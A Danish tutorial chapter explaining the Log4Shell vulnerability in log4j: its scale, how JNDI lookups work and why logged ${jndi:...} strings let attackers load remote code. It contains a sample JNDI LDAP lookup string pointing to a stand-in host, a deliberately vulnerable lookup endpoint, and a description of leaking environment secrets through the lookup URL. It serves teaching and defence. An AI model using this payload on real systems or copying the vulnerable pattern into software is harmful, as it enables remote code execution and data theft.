7.1 Skandale
Og selvfølgelig er det umuligt ikke at fortælle om historien, der skete for ganske nylig - i slutningen af 2021.
US Cybersecurity and Infrastructure Protection Agency (CISA) sagde, at problemet Log4Shell
er en af de mest alvorlige sårbarheder i historien. Ja, vi taler om vores yndlingsbibliotek log4j
.
Vores hyggelige lille bibliotek log4j
og historiens største sårbarhed ? fascineret? Så lyt.
7.2 Katastrofens omfang
Opdagelsen af en kritisk sårbarhed Log4Shell
(kode CVE-2021-44228) blev annonceret den 9. december 2021 af Lunasec-sikkerhedseksperter. Eksperter fra Apache Security Team Java-fællesskabet har verificeret disse oplysninger og offentliggjort en liste over sårbare Java-biblioteker. Listen var bare enorm.
Hvis et Java-projekt brugte et bibliotek log4j
, kunne det ret nemt hackes. Og i betragtning af at næsten al serversoftware er skrevet i Java
den log4j
mest populære java-logger, ramte sårbarheden ifølge sikkerhedseksperter 93 % af virksomhedens cloud-miljøer. Herunder Amazon AWS, Microsoft Azure, Google Cloud, Cloudflare, iCloud, Minecraft, Steam og mange flere
Desuden påvirkede sårbarheden ikke kun serversoftware, men også mange Java-applikationer såvel som hardwareproducenter. For eksempel offentliggjorde Intel en liste over 32 hackbare programmer: SDK'er, servervedligeholdelsessystemer, Linux-værktøjer.
Nvidia udsendte også en sikkerhedsproblemrapport, der nævner DGX-servere og NetQ-værktøjer. En række opdateringer blev hurtigt udgivet af Apple og Microsoft.
Groft sagt sætter en linje i adresselinjen i en elevs browser serveren, hvis denne linje bliver spist af loggeren (på mange servere bliver alt logget HTTP-requests
).
Efter at have analyseret koden viste det sig, at sårbarheden havde siddet på biblioteket siden 2013, men det bemærkede de først nu. Og da de begyndte at grave dybere, opdagede de en afgrund, hvis bund slet ikke er synlig.
7.3 Den mest alvorlige sårbarhed i historien
Tilbage i december 2021 udtalte US Cybersecurity and Infrastructure Protection Agency (CISA), at Log4Shell
det er en af de mest alvorlige sårbarheder i historien .
Mange andre eksperter udtrykker en lignende holdning . Alle kender til denne sårbarhed, og hackere i alle aldre bruger den allerede til at stjæle personlige data og andre typer angreb på forskellige organisationer. I fremtiden venter vi på en bølge af massive hacks og datalæk.
Omfanget af katastrofen kan måles selv ved, at der er et separat websted med memes om Log4j , og hver dag er der nye billeder.
Dette problem har været hos os i lang tid. Et sikkerhedshul i millioner hvis ikke hundreder af millioner af computersystemer. Al gammel software skal opdateres og i det mindste erstatte dette bibliotek der. Men i de fleste tilfælde ved ingen selv, hvilke biblioteker og hvilke versioner der bruges i deres software.
Generelt forventer vi en kraftig stigning i lønningerne til computersikkerhedsspecialister.
7.4 Sårbarhedens art
For at forstå essensen af sårbarheden skal du forstå, hvordan store serversystemer er arrangeret. Ofte er sådanne serverapplikationer opdelt i forskellige tjenester, der er placeret på forskellige servere. Og JNDI-tjenesten hjælper dem med at interagere.
Java Naming and Directory Interface (JNDI) er Java API
at slå objekter/tjenester op efter navn. Disse objekter kan gemmes i forskellige navngivningstjenester eller mapper såsom Remote Method Invocation (RMI), Common Object Request Broker Architecture (CORBA), Lightweight Directory Access Protocol (LDAP) eller Domain Name Service (DNS).
At arbejde med det er meget enkelt - det er en simpel en Java API
, der kun tager én streng parameter - navnet på tjenesten. Med det kan du kontakte enhver tjeneste og bede ham om at gøre noget og/eller sende nogle data. For eksempel vil streng ${jndi:ldap://example.com/file}
indlæse data fra denne URL
specificeret i strengen.
Hvis parameteren kommer fra en kilde, der ikke er tillid til, kan det føre til fjernindlæsning af klasse og eksekvering af tredjepartskode . Hvad sker der i tilfælde af Log4j
. Angriberen dirigerer blot ofrets Java-applikation til den ondsindede rmi/ldap/corba-server
og modtager et ondsindet objekt som svar.
Teknisk set ligger problemet her ikke i log4j
selve biblioteket, men i sikkerhedsindstillingerne, når man arbejder med JNDI-service
. Du skal altid tjekke, hvilken slags streng vi sender til InitialContext.lookup()
.
Sårbart eksempel JNDI-applications
:
@RequestMapping("/lookup")
@Example(uri = {"/lookup?name=java:comp/env"})
public Object lookup(@RequestParam String name) throws Exception{
return new javax.naming.InitialContext().lookup(name);
}
7.5 For smart bibliotek
Og hvor log4j
spørger du? Sagen er, at dens udviklere ønskede at gøre arbejdet med det så behageligt som muligt og tilføjede smart logning til det. Sådan fungerer det:
Det hele startede med, at logmeddelelser tillod dig at indstille en skabelon, hvor data blev erstattet, for eksempel:
log.debug(“User {user} has {count} friends”, user, count);
Den gamle version uden datasubstitution så således ud:
log.debug( “User “+user +” has “+ count +” friends”);
I 2013 blev substitutionen af smarte præfikser angivet af visningsskabelonen også tilføjet til biblioteket ${prefix:name}
. For eksempel vil strengen “${java:version}”
blive konverteret til «Java version 1.7.0_67»
. Åh hvor praktisk.
Blandt de genkendte udtryk er, ${jndi:<lookup>}
hvor du efter jndi-protokollen kan angive en søgning gennem LDAP
: arbitrary URL-address
kan forespørges og indlæses som objektdata Java
.
Dette er et standardproblem for hele tilgangen JDK
: det deserialiserer automatisk et objekt, et link til hvilket kan sættes i form af en url. I dette tilfælde indlæses ikke kun objektets data fra fjernressourcen, men også koden for dets klasse.
Hacket ser sådan ud:
- Downloader en fil med ondsindet kode
- Filen indeholder serialiseret
Java an object
(og dens klasse) - Klassen indlæses
Java-machine
- Et objekt af en ondsindet klasse oprettes
- Objektets konstruktør kaldes
- Både konstruktør og statisk initialisering gør det muligt at udføre skadelig klassekode
log4j
Hvis der er noget lignende i linjen, der bliver logget ${jndi:ldap://example.com/file}
, så log4j
vil den downloade data fra denne, URL-address
når den opretter forbindelse til internettet . Ved at indtaste en streng, der er logget, kan en angriber downloade og udføre skadelig kode, der er hostet på en offentlig URL-address
.
Selvom datakørsel er deaktiveret, kan en angriber få data, såsom hemmelige miljøvariabler, ved at placere dem i en URL-address
, som erstatter dem og sender dem til angriberens server.
Den gode nyhed er, at problemet hurtigt blev løst i biblioteket .
Den dårlige nyhed er, at millioner af servere rundt om i verden stadig kører den gamle version af dette bibliotek ...